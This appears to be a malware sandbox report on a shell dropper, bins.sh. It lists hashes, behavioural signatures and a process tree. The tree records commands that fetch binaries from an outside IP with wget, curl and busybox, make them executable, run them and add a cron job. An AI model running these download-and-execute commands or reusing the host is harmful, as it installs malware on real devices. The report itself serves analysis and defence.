Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
09-11-2024 22:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
26b007b58f7b3e7d4d06412d32ff28e3
-
SHA1
cd4b89120da91b247046d0ff97dcf15f7de24c67
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SHA256
3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a
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SHA512
9a1c4af960422cf737405359bc9f83045425369dcbd7ae97c201061b817392c34518f84af6a0419b506c50c32e4a865a6267d64e8c133e7ec85af1e70bb38a97
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SSDEEP
192:XIkHYgEwH5Gj+fvvozvRsaqn8wV8aqn8w7Mvvozv5IkHYgSzD:XIkHYgEwH5Gj+UQIZIkHYgSzD
Malware Config
Signatures
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Contacts a large (2091) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid process 700 chmod 734 chmod 677 chmod -
Executes dropped EXE 3 IoCs
Processes:
0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0gN0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46ioc pid process /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g 678 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5 701 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5 /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 735 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 -
Renames itself 1 IoCs
Processes:
hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46pid process 736 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.aEv0Gg crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curlcurlcurldescription ioc process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Processes:
hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46description ioc process File opened for reading /proc/816/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/845/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/915/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/916/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/917/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/4/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/753/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/927/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/982/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1067/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/19/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1023/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1027/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/29/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/795/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/877/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/888/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/908/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/940/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/976/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1075/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/817/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/935/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/979/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1041/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/16/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/76/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/764/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/869/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/870/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/955/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/911/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/9/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/42/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/649/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/757/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/804/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/829/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/839/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/957/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1062/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/20/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/854/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/921/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/968/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1045/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/3/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/998/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1040/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1072/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/779/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/842/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/884/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/914/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/994/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1073/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1044/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/733/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/793/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/919/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/923/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/948/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1015/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 File opened for reading /proc/1020/cmdline hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxcurlbusyboxwgetcurlbusyboxwgetcurlwgetdescription ioc process File opened for modification /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5 busybox File opened for modification /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 curl File opened for modification /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 busybox File opened for modification /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g wget File opened for modification /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g curl File opened for modification /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g busybox File opened for modification /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5 wget File opened for modification /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5 curl File opened for modification /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46 wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:644
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/bin/rm/bin/rm bins.sh2⤵PID:646
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/usr/bin/wgetwget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵
- Writes file to tmp directory
PID:648 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:670 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵
- Writes file to tmp directory
PID:676 -
/bin/chmodchmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵
- File and Directory Permissions Modification
PID:677 -
/tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵
- Executes dropped EXE
PID:678 -
/bin/rmrm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g2⤵PID:680
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/usr/bin/wgetwget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵
- Writes file to tmp directory
PID:681 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:684 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵
- Writes file to tmp directory
PID:695 -
/bin/chmodchmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵
- File and Directory Permissions Modification
PID:700 -
/tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵
- Executes dropped EXE
PID:701 -
/bin/rmrm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A52⤵PID:703
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/usr/bin/wgetwget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵
- Writes file to tmp directory
PID:704 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:714 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵
- Writes file to tmp directory
PID:729 -
/bin/chmodchmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵
- File and Directory Permissions Modification
PID:734 -
/tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:735 -
/bin/shsh -c "crontab -l"3⤵PID:737
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/usr/bin/crontabcrontab -l4⤵PID:738
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/bin/shsh -c "crontab -"3⤵PID:740
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:741 -
/bin/rmrm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx462⤵PID:744
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/usr/bin/wgetwget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS2⤵PID:747
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5a8e067e0ff5d8cce256423dfa3b58e0e
SHA11f461e13b240caa2dd3c3420505d9bd6a032aee1
SHA256e0b50ab0a1aec9f597f5281b0ed162051f83ccd372c6a18ea46aec53474a555f
SHA512ce4f4f6170b5030caf69630d663f1c6996019a53366bb37894daa4400b1a389f4b7e81555df66b5e0bdd5ed1b3a78d6166f1e3a0a10cb14f0f7f4cc5f25c14ca